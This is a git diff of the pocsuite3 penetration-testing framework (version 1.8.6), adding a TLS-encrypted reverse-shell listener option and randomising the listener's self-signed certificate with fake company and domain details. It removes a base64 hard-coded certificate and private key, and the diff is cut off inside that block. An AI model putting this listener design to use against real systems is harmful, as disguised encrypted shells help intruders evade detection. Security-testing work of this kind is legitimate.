diff --git a/CHANGELOG.md b/CHANGELOG.md index 09e3a899..40037574 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -267,3 +267,8 @@ Cross-platform shell code generation ----------------- * support bind shell in shell mode * fix #221 + +# version 1.8.6 +----------------- +* support encrypted shell (TLS) in shell mode +* fix #228 diff --git a/docs/CODING.md b/docs/CODING.md index b89dc37a..37ecfb8d 100644 --- a/docs/CODING.md +++ b/docs/CODING.md @@ -213,6 +213,8 @@ bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`,原理 `bind_telnet_shell`:对 telnet 服务的原生支持,在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)` +从 ***1.8.6*** 版本开始,pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令(也可以用代码反弹),并且在运行时指定 `--tls` 选项。 + 7. 结果返回 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard) diff --git a/manpages/poc-console.1 b/manpages/poc-console.1 index e1a17d8f..7295fa79 100644 --- a/manpages/poc-console.1 +++ b/manpages/poc-console.1 @@ -31,7 +31,7 @@ is maintained at: .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION -This manual page documents pocsuite version 1.8.5 +This manual page documents pocsuite version 1.8.6 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team diff --git a/manpages/pocsuite.1 b/manpages/pocsuite.1 index e5d7b590..116e2bf6 100644 --- a/manpages/pocsuite.1 +++ b/manpages/pocsuite.1 @@ -161,6 +161,9 @@ Connect back host for target PoC in shell mode \fB\-\-lport\fR CONNECT_BACK_PORT Connect back port for target PoC in shell mode .TP +\fB\-\-tls\fR +Enable TLS listener in shell mode +.TP \fB\-\-comparison\fR Compare popular web search engines .TP @@ -250,7 +253,7 @@ is maintained at: .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION -This manual page documents pocsuite version 1.8.5 +This manual page documents pocsuite version 1.8.6 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py index 3458c78c..f707fa4c 100644 --- a/pocsuite3/__init__.py +++ b/pocsuite3/__init__.py @@ -1,5 +1,5 @@ __title__ = 'pocsuite' -__version__ = '1.8.5' +__version__ = '1.8.6' __author__ = 'Knownsec Security Team' __author_email__ = 's1@seebug.org' __license__ = 'GPL 2.0' diff --git a/pocsuite3/lib/core/option.py b/pocsuite3/lib/core/option.py index 0fdae590..7b106d9e 100644 --- a/pocsuite3/lib/core/option.py +++ b/pocsuite3/lib/core/option.py @@ -564,6 +564,7 @@ def _set_conf_attributes(): conf.rule_req = False conf.rule_filename = None conf.show_options = False + conf.enable_tls_listener = False def _set_kb_attributes(flush_all=True): diff --git a/pocsuite3/lib/core/settings.py b/pocsuite3/lib/core/settings.py index 956b8113..1204d6e3 100644 --- a/pocsuite3/lib/core/settings.py +++ b/pocsuite3/lib/core/settings.py @@ -9,13 +9,22 @@ VERSION = __version__ REVISION = get_revision_number() SITE = "http://pocsuite.org" -VERSION_STRING = "pocsuite/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d", - time.gmtime( - os.path.getctime( - __file__.replace( - '.pyc', - '.py') if __file__.endswith( - 'pyc') else __file__)))) +VERSION_STRING = "pocsuite/%s%s" % ( + VERSION, + "-%s" % REVISION + if REVISION + else "-nongit-%s" + % time.strftime( + "%Y%m%d", + time.gmtime( + os.path.getctime( + __file__.replace(".pyc", ".py") + if __file__.endswith("pyc") + else __file__ + ) + ), + ), +) IS_WIN = True if (sys.platform in ["win32", "cygwin"] or os.name == "nt") else False PLATFORM = os.name @@ -26,22 +35,32 @@ GIT_PAGE = "https://github.com/knownsec/pocsuite3" ZIPBALL_PAGE = "https://github.com/knownsec/pocsuite3/zipball/master" -LEGAL_DISCLAIMER = "Usage of pocsuite for attacking targets without prior mutual consent is illegal." +LEGAL_DISCLAIMER = ( + "Usage of pocsuite for attacking targets without prior mutual consent is illegal." +) BANNER = """\033[01;33m ,------. ,--. ,--. ,----. \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m -| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | -| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < -| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' | -`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m -""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) +| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | +| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < +| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' | +`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m +""" % ( + (31 + hash(REVISION) % 6) if REVISION else 30, + VERSION_STRING.split("/")[-1], + SITE, +) # Encoding used for Unicode data UNICODE_ENCODING = "utf-8" DEFAULT_USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" -BOLD_PATTERNS = ("' is vulnerable", "success", "\d ",) +BOLD_PATTERNS = ( + "' is vulnerable", + "success", + "\d ", +) OLD_VERSION_CHARACTER = ("from comm import cmdline", "from comm import generic") POCSUITE_VERSION_CHARACTER = ("from pocsuite.poc import", "from pocsuite.net import") @@ -67,12 +86,16 @@ IPV6_ADDRESS_REGEX = r"^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$" IPV6_URL_REGEX = r"(https?:\/\/)?\[((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\](:\d+)?(\/)?" URL_ADDRESS_REGEX = r"(?:(?:https?):\/\/|www\.|ftp\.)(?:\([-a-zA-Z0-9+&@#\/%=~_|$?!:,.]*\)|[-a-zA-Z0-9+&@#\/%=~_|$?!:,.])*(?:\([-a-zA-Z0-9+&@#\/%=~_|$?!:,.]*\)|[a-zA-Z0-9+&@#\/%=~_|$])" -URL_DOMAIN_REGEX = r"(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?" -LOCAL_IP_ADDRESS_REGEX = r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)" +URL_DOMAIN_REGEX = ( + r"(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?" +) +LOCAL_IP_ADDRESS_REGEX = ( + r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)" +) POC_REQUIRES_REGEX = r"install_requires\s*=\s*\[(?P.*?)\]" -POC_NAME_REGEX = r'''(?sm)POCBase\):.*?name\s*=\s*['"](?P.*?)['"]''' +POC_NAME_REGEX = r"""(?sm)POCBase\):.*?name\s*=\s*['"](?P.*?)['"]""" MAX_NUMBER_OF_THREADS = 20 @@ -81,17 +104,69 @@ # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 -IMG_EXT = ('.jpg', '.png', '.gif') +IMG_EXT = (".jpg", ".png", ".gif") -TIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime()) +TIMESTAMP = time.strftime("%Y%m%d%H%M%S", time.gmtime()) OS_SYSTEM = system().upper() OS_ARCH = machine() # Cmd line parse whitelist -CMD_PARSE_WHITELIST = ['version', 'update', 'url', 'file', 'verify', 'attack', 'shell', 'cookie', 'host', 'referer', - 'user-agent', 'random-agent', 'proxy', 'proxy-cred', 'timeout', 'retry', 'delay', 'headers', - 'login-user', 'login-pass', 'dork', 'dork-shodan', 'dork-censys', 'dork-zoomeye', 'dork-fofa','dork-quake', - 'max-page', 'search-type', 'shodan-token', 'fofa-user', 'fofa-token', 'quake-token','vul-keyword', 'ssv-id', - 'lhost', 'lport', 'plugins', 'pocs-path', 'threads', 'batch', 'requires', 'quiet', 'poc', - 'verbose', 'mode', 'api', 'connect_back_host', 'connect_back_port', 'ppt', 'help', 'pcap', - 'rule','rule-req','rule-filename','dork-b64', 'options'] +CMD_PARSE_WHITELIST = [ + "version", + "update", + "url", + "file", + "verify", + "attack", + "shell", + "cookie", + "host", + "referer", + "user-agent", + "random-agent", + "proxy", + "proxy-cred", + "timeout", + "retry", + "delay", + "headers", + "login-user", + "login-pass", + "dork", + "dork-shodan", + "dork-censys", + "dork-zoomeye", + "dork-fofa", + "dork-quake", + "max-page", + "search-type", + "shodan-token", + "fofa-user", + "fofa-token", + "quake-token", + "vul-keyword", + "ssv-id", + "lhost", + "lport", + "plugins", + "pocs-path", + "threads", + "batch", + "requires", + "quiet", + "poc", + "verbose", + "mode", + "api", + "connect_back_host", + "connect_back_port", + "ppt", + "help", + "pcap", + "rule", + "rule-req", + "rule-filename", + "dork-b64", + "options", + "tls", +] diff --git a/pocsuite3/lib/parse/cmd.py b/pocsuite3/lib/parse/cmd.py index 3f02d25d..3dff1392 100644 --- a/pocsuite3/lib/parse/cmd.py +++ b/pocsuite3/lib/parse/cmd.py @@ -64,7 +64,7 @@ def cmd_line_parser(argv=None): request.add_argument("--delay", dest="delay", help="Delay between two request of one thread") request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")") # Account options - group = parser.add_argument_group("Account", "Telnet404、Shodan、CEye、Fofa account options") + group = parser.add_argument_group("Account", "Telnet404, Shodan, CEye, Fofa account options") group.add_argument("--login-user", dest="login_user", help="Telnet404 login user") group.add_argument("--login-pass", dest="login_pass", help="Telnet404 login password") group.add_argument("--shodan-token", dest="shodan_token", help="Shodan token") @@ -74,7 +74,7 @@ def cmd_line_parser(argv=None): group.add_argument("--censys-uid", dest="censys_uid", help="Censys uid") group.add_argument("--censys-secret", dest="censys_secret", help="Censys secret") # Modules options - modules = parser.add_argument_group("Modules", "Modules(Seebug、Zoomeye、CEye、Fofa、Quake Listener) options") + modules = parser.add_argument_group("Modules", "Modules(Seebug, Zoomeye, CEye, Fofa, Quake, Listener) options") modules.add_argument("--dork", dest="dork", action="store", default=None, help="Zoomeye dork used for search.") modules.add_argument("--dork-zoomeye", dest="dork_zoomeye", action="store", default=None, @@ -99,6 +99,8 @@ def cmd_line_parser(argv=None): help="Connect back host for target PoC in shell mode") modules.add_argument("--lport", dest="connect_back_port", action="store", default=None, help="Connect back port for target PoC in shell mode") + modules.add_argument("--tls", dest="enable_tls_listener", action="store_true", default=False, + help="Enable TLS listener in shell mode") modules.add_argument("--comparison", dest="comparison", help="Compare popular web search engines", action="store_true", default=False) @@ -133,7 +135,7 @@ def cmd_line_parser(argv=None): # Diy options diy = parser.add_argument_group("Poc options", "definition options for PoC") diy.add_argument("--options", dest="show_options", action="store_true", default=False, - help="Show all definition options") + help="Show all definition options") for line in argv: if line.startswith("--"): diff --git a/pocsuite3/lib/utils/__init__.py b/pocsuite3/lib/utils/__init__.py index 580870d9..7a5a9bbe 100644 --- a/pocsuite3/lib/utils/__init__.py +++ b/pocsuite3/lib/utils/__init__.py @@ -4,6 +4,7 @@ import os import string import random +from faker import Faker from socket import gethostbyname from urllib.parse import urlparse from pocsuite3.lib.core.data import logger, paths @@ -150,39 +151,47 @@ def generate_shellcode_list(listener_ip, listener_port, os_target=OS.WINDOWS, os return cmd -def gen_cert(emailAddress="s1@seebug.org", - commonName="Cyberspace", - countryName="CN", - localityName="Cyberspace", - stateOrProvinceName="Cyberspace", - organizationName="Seebug", - organizationUnitName="pocsuite.org", +def gen_cert(countryName='', + stateOrProvinceName='', + localityName='', + organizationName='', + organizationUnitName='', + commonName='', + emailAddress='', serialNumber=0, validityStartInSeconds=0, - validityEndInSeconds=10*365*24*60*60, + validityEndInSeconds=0, filepath="cacert.pem"): # openssl library dependencies is too heavy, so we move it to extras_require try: from OpenSSL import crypto + fake = Faker() + domain_name = fake.domain_name() + yr = 24 * 3600 * 365 + vf = -1 * random.randint(0, yr * 3) - yr + vt = vf + random.randint(5, 9) * yr # create a key pair k = crypto.PKey() - k.generate_key(crypto.TYPE_RSA, 4096) + k.generate_key(crypto.TYPE_RSA, 2048) # create a self-signed cert cert = crypto.X509() - cert.get_subject().C = countryName - cert.get_subject().ST = stateOrProvinceName - cert.get_subject().L = localityName - cert.get_subject().O = organizationName - cert.get_subject().OU = organizationUnitName - cert.get_subject().CN = commonName - cert.get_subject().emailAddress = emailAddress + cert.get_subject().C = countryName or 'US' + cert.get_subject().ST = stateOrProvinceName or fake.state_abbr() + cert.get_subject().L = localityName or fake.city() + cert.get_subject().O = organizationName or fake.company() + cert.get_subject().OU = organizationUnitName or fake.bs().split()[-1] + cert.get_subject().CN = commonName or domain_name + cert.get_subject().emailAddress = emailAddress or fake.email().split('@')[0] + '@' + domain_name + serialNumber = serialNumber or (random.randint(0, 0xffffffff - 1) << 32) + random.randint(0, 0xffffffff - 1) cert.set_serial_number(serialNumber) - cert.gmtime_adj_notBefore(0) - cert.gmtime_adj_notAfter(validityEndInSeconds) + cert.gmtime_adj_notBefore(validityStartInSeconds or vf) + cert.gmtime_adj_notAfter(validityEndInSeconds or vt) cert.set_issuer(cert.get_subject()) + cert.set_version(2) cert.set_pubkey(k) - cert.sign(k, 'sha512') + cert.sign(k, 'sha256') + logger.info("Successfully generated a self-signed certificate") with open(filepath, "wb+") as fw: fw.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) fw.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) @@ -190,116 +199,60 @@ def gen_cert(emailAddress="s1@seebug.org", logger.warning('pyOpenSSL not installed, use hard-code certificate instead') # base64 encoding to avoid cert leak warning hard_coded_cert_base64 = ( - b'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZtakNDQTRJQ0FRQXdEUVlK' - b'S29aSWh2Y05BUUVOQlFBd2daSXhDekFKQmdOVkJBWVRBa05PTVJNd0VRWUQKVlFR' - b'SURBcERlV0psY25Od1lXTmxNUk13RVFZRFZRUUhEQXBEZVdKbGNuTndZV05sTVE4' - b'd0RRWURWUVFLREFaVApaV1ZpZFdjeEZUQVRCZ05WQkFzTURIQnZZM04xYVhSbExt' - b'OXlaekVUTUJFR0ExVUVBd3dLUTNsaVpYSnpjR0ZqClpURWNNQm9HQ1NxR1NJYjNE' - b'UUVKQVJZTmN6RkFjMlZsWW5WbkxtOXlaekFlRncweU1UQTNNamN3T0RFNU5EUmEK' - b'Rncwek1UQTNNalV3T0RFNU5EUmFNSUdTTVFzd0NRWURWUVFHRXdKRFRqRVRNQkVH' - b'QTFVRUNBd0tRM2xpWlhKegpjR0ZqWlRFVE1CRUdBMVVFQnd3S1EzbGlaWEp6Y0dG' - b'alpURVBNQTBHQTFVRUNnd0dVMlZsWW5Wbk1SVXdFd1lEClZRUUxEQXh3YjJOemRX' - b'bDBaUzV2Y21jeEV6QVJCZ05WQkFNTUNrTjVZbVZ5YzNCaFkyVXhIREFhQmdrcWhr' - b'aUcKOXcwQkNRRVdEWE14UUhObFpXSjFaeTV2Y21jd2dnSWlNQTBHQ1NxR1NJYjNE' - b'UUVCQVFVQUE0SUNEd0F3Z2dJSwpBb0lDQVFEYlRpRXNjRkR4QjBMUUZOaTNmN29u' - b'MS8wYk5tbUpYRXZLYzY1UFAvNXlSazJpc3VMU3hvMUc2Sk1SCkVJR0tGT1FPZlA3' - b'N2lwRDdRU3JjdDRSVEtsSTZORDFkSlB5SWJkSlIwL1RXc2xVNWxwQkpReW56d2x0' - b'RnJRYVUKalRlSDJwMUk2MTNVLzZERXQxbGdhNGxpeXRQb2E4QzM4TUQyZ2xHWktN' - b'S2libUlLNHgvQTdrTndtcXIrNWVtawprd2ErWjhpZzA0QU5DdkpkOWNacW1iNUp2' - b'anN1Y3pHNVFuRzZrYUFOaGw5cGZSSk8zSy9sQmVtekZ3S2hFTWlECldaWnJFbGwz' - b'NjlIcnhiQjRuaEpGU0MwTW92MzRZZFJid21NMENkdmFJUFlpZm5uKzBHUnRLRTZt' - b'cDZPVEEvOHMKdS9IYm1OU1RHZG5MQ3lhVk4zSzFhWUw5dkVRMUpPcTB4MjRYK0J2' - b'NG9YcjBMWGRXR3NNUUwzeHNXM3NoenBYYgppZXBXamNwVGNKdHhVSHMyQUZlOVlo' - b'aW94anZjWjdFU29YUVV4RURkajBhaWdLVndEUTdZdzZvd09obWdxK2pBCnYwTThX' - b'c0tVQzZNb2RDTVArTnZieEVybTBoK3UzUkRtZmdZd1kxM0ZjTFBMTlQzQkVyQy9k' - b'UHljUkFQZjlhUXQKSWVXSjlpUVZHUndGTVN5dFNUNWJNekQzM3FtU1hlVVBvMzdU' - b'Y0VsQkhCM1c1Z1IxdmVVaThqU1ZSbjBzYitWdgp4UWtlQTVqZHFBUG9yTHMwZ3RT' - b'ZHZ3NFhUTHlZZVZaUUYvTVROaVBuV0ZGWGtlb0YrYUJ5cjlFM2wxT2RCNVZzCnRi' - b'N3JvU1hRK0E3bTArdFNPOWVJWmNoTXdBdHBPN0FZUC81cmQxbUFMMGY4RFRzNWRR' - b'SURBUUFCTUEwR0NTcUcKU0liM0RRRUJEUVVBQTRJQ0FRQXF3b2RwY3hhbnJ4RHYr' - b'anBBbm1rM2NFaENOcXVhNnk1VVJ5cGpNM2EyTzlGTgpDY3dZamVjNG1Hdi9SVnh1' - b'Y0tXTmRRQVVhellYMVBpdUFzMUpnVVBRaGdnZTVhTkI4M1lQNjlndlhmWlF6U052' - b'CmFXTHJObXdLeE9ZdUZzaWV4aUtzcTRaTXBwWldNcURRYnpTOE5aRGVsVEJZVjll' - b'eWM2enRSZXU4LzRHc3FXNWcKVUEyZzhKcXBmbStWOUIvTjhsRjY5Ykw0bC8rSytj' - b'RzNxWXl3WVQzN3JlMmVmdDhhcWtZblJVeVBPeWw5cGttZQpqZEJ2bjY1cDBqNUZ5' - b'THJSS01oZjJZWUZVQldXeXlCd3RubG50OFVqOFlmbnp3VGhBb0pwemlONTZGRjda' - b'eGZ3CnlLb1JXY2NueXl4MnFxU3B2Q05NVlE1dkd3RUVvZUp3SklLYnBpazRhaDho' - b'WlZ4ZG5jN3pGRU9DbzJIeTUrNjUKWnhGbS8vbjZjTnI2eG9uUTZWVFp3ZXRYT1Fa' - b'aC9ybkN5emUwaVZ3OEo0RytsM0tvRk5YM092em9oL1dNQXc2TwovTzQxLzI0OFhH' - b'UW15S210aDRMRDB5NFcwQTErUFNpV24rb0NheDVRblNUMTNKMTNtT05ZV1p4RG42' - b'b0RkSjQ2CmhpN3NiZnFab3QyMWxIV0hFOUIwWlV2SUJrWkJRVktjR3Q5dFBXeDBL' - b'VWxPSTlWb01IeGdwNWhkSExidTg2cG4KQitrdll0bnh3N2F5em4yL3Jtd1NYeDRl' - b'OTFjcXVmVy9UMXIvamlVN3BCTHE1b0RJTWl3MmgxbnIwYmp1ZTNUZgpVaWhKTEhH' - b'Z2dnSHRFRkdxenFxbU8zak9DTSt5czhhVDY0Q3VNcDVIZ1ptZjFGZVBYV3A3bTla' - b'WUNpS0htdz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJTiBQ' - b'UklWQVRFIEtFWS0tLS0tCk1JSUpSQUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVND' - b'Q1M0d2dna3FBZ0VBQW9JQ0FRRGJUaUVzY0ZEeEIwTFEKRk5pM2Y3b24xLzBiTm1t' - b'SlhFdktjNjVQUC81eVJrMmlzdUxTeG8xRzZKTVJFSUdLRk9RT2ZQNzdpcEQ3UVNy' - b'Ywp0NFJUS2xJNk5EMWRKUHlJYmRKUjAvVFdzbFU1bHBCSlF5bnp3bHRGclFhVWpU' - b'ZUgycDFJNjEzVS82REV0MWxnCmE0bGl5dFBvYThDMzhNRDJnbEdaS01LaWJtSUs0' - b'eC9BN2tOd21xcis1ZW1ra3dhK1o4aWcwNEFOQ3ZKZDljWnEKbWI1SnZqc3Vjekc1' - b'UW5HNmthQU5obDlwZlJKTzNLL2xCZW16RndLaEVNaURXWlpyRWxsMzY5SHJ4YkI0' - b'bmhKRgpTQzBNb3YzNFlkUmJ3bU0wQ2R2YUlQWWlmbm4rMEdSdEtFNm1wNk9UQS84' - b'c3UvSGJtTlNUR2RuTEN5YVZOM0sxCmFZTDl2RVExSk9xMHgyNFgrQnY0b1hyMExY' - b'ZFdHc01RTDN4c1czc2h6cFhiaWVwV2pjcFRjSnR4VUhzMkFGZTkKWWhpb3hqdmNa' - b'N0VTb1hRVXhFRGRqMGFpZ0tWd0RRN1l3Nm93T2htZ3ErakF2ME04V3NLVUM2TW9k' - b'Q01QK052Ygp4RXJtMGgrdTNSRG1mZ1l3WTEzRmNMUExOVDNCRXJDL2RQeWNSQVBm' - b'OWFRdEllV0o5aVFWR1J3Rk1TeXRTVDViCk16RDMzcW1TWGVVUG8zN1RjRWxCSEIz' - b'VzVnUjF2ZVVpOGpTVlJuMHNiK1Z2eFFrZUE1amRxQVBvckxzMGd0U2QKdnc0WFRM' - b'eVllVlpRRi9NVE5pUG5XRkZYa2VvRithQnlyOUUzbDFPZEI1VnN0Yjdyb1NYUStB' - b'N20wK3RTTzllSQpaY2hNd0F0cE83QVlQLzVyZDFtQUwwZjhEVHM1ZFFJREFRQUJB' - b'b0lDQUFWeW4yaFhNZXVLM3FJRW9vMk1ZcmR5CnFocnU4eGd5YnIrTXVCdkgzeTQv' - b'aU5ZdDAyeWcrZ2wwNVpKYThwelhnQUxNSUJsbmk4cHlCL3FMcElIY1gwYUsKM2F0' - b'ZXE5ZEh3eDI5UWl2REtsTFA1cTJyT1hPUXRHdTZySnNzRnVFTkVUTXFoWjR3NjNG' - b'M2pJVFVwd2tKT05KaApPdHhXNHJRODhJSDVmVHhEdWJQRGlKcG1VTTZQU1Fnajlm' - b'WGNvU0pCdWI0bEF0MVFGRTA1T2NDVUtTSHowOHlICm1BaWVHZTBraVBGTkVUbXhu' - b'YTdQMUo2LzB0cGNDL2lzVGc3VlB1TlNCVjd4UUxtMm8zZWJsYUNhOW1PRitRRWUK' - b'alFQcWhFUmFxbGQwMGloeE05NmNscUlQaWtTaGpYS3RlcjFGdmZCU2o1Vkg0eDBr' - b'SGNVL0oxNVNUS3E0N29qSApwbHBOQVQwcWtuYUgvc25IYzNXU1ZmNHVXc2pSOHdO' - b'NlVWL2RDZStqR1Ftb0xLUlNieVN5Rk8rVUtUZFVualBoCndpWFZLSnEwRDR3aHNk' - b'QUdVRkNLd09Femc4V2gyVlYydllReStRWHZXRXdyWFhwelk1eGM5bEx6Mlhna1Ey' - b'cTYKb0dpWU0yMWR6UWxZUnlMS0h2ZUpvR2FoZmtCMHZSN3NSenlNNkg0Y3NDb3Bz' - b'aENlcVhvUytmRjVmNlhMTFJCcQp2MVVBejkrNGk0djJBS3MxenJNSTY5YjA0TXZL' - b'ZkZ1d0ZINU02eFZNdmZhY2pHQ0o1ajFEeVNkb0FDMVhDcWdmClkraFBQL0NEajZH' - b'M0pNN1oyZ1ZUWDhWYWpXc1RIaFkrb25hN1o4WloyeS9uZnRMcFljTUVINGlGbEZq' - b'MklhQnQKenpaQU1KV2dkOTkrblhIckNvdFJBb0lCQVFEMXd6aWJYRUN6c3JvbldS' - b'T3VEdWZkdk5ZNG5OWFczVVYwdUFYcwo1SFFiRDNCU09xaGYvU2dudDJjSzNNNC8y' - b'Z1dkSkNCdkFqaHFnNlA5dldpd2FFZ2Y2cXZra0NOMUVLVHNjMU1lCkp0VDM4ZVNX' - b'UjlUYzZMZXc2QmdLUkRMNzFTUXN1MlYwcGROTHBYdXhQaHlIaGxKb2VPcnhrT2VE' - b'T2cxNmlid3cKQmZlMW5HQnN3V09KaUloQ01scjNrZmVXN0tVQTFUKys4OWFmZ1Ix' - b'RmlMblh4b2RsUFNYUFQybXU5UVFsQkVlTworZW5wNTdZb3JXRldjMUc3ZnN3dzNO' - b'UjB4c3o0d1NTVno0TkFvTWszbjlVaUtLMEVzZ2hiRFpIczVJS2pNTmdNClJHZkcr' - b'S09tWUEzTXlaMFQxdXFXcmI0M2lyUzRnRUNkTU9vbVRrY0UyUFRhRXdBREFvSUJB' - b'UURrY01VOGZ2RzIKOGpEaHRXbEVGb0F5Wm1HSlJ0OWRwUzhyTCtPellqMTlVUmtG' - b'ZkdIdUQzejhPT3ZlVjV2M1hCbDRkbDNkSmNZNwpNWTdxakJtM0JwMFF4VFJiZlVB' - b'WG1JQjBJOU56QUpYZm9qZGZ0ajZ5bEZScXdOUmVJSDRacWEyWFQxWXJWcTZyCko4' - b'RU13QXpVY0JobVMrcmIrRXM5dGI5a0hyYTlnTDlhbHZ0MDk0UDZWcW1zZUIzaUlL' - b'OVRQVTVDRGZiZUhYV0UKS096ZlNoS2FOUDRoZTFsOFFFVGRVNXYxVHR0QWlPRVp6' - b'dEdQT011S0RPUlk0WlQ5bHZKMGxHNjM3ZWUxclZsUQpzWFpoRlRTbStETC9jNlc0' - b'VnBOWE9XeXRQcUJScDRhOW9VT0tmZ2x0alRQcWx0Z2hYWFdjMmorYnhpbC93eWZW' - b'CmhvTCs0cTNPY2hNbkFvSUJBUUM2WjNRTUFwRGd1M01PWFRYY0Uxb3lpUVJDdEZK' - b'TlFrOW9GQndLYmN6U3FZY2MKRjNtV05NRzhQaE5kM2RSaUFjKzRQS3FOQ0RZYU0v' - b'YXlnbk5oT2ZkYW5mZjZ5SWpjUmQrUnFIY21xM1ZsQ29mQwpwSUVEZlUrMlVwUEpW' - b'YWtGOGNnYVZaakNQUFJpc0FWOWpncTlrRmY0L1ozVjAzNkZ2Z1p6SnYwaHY2VCtq' - 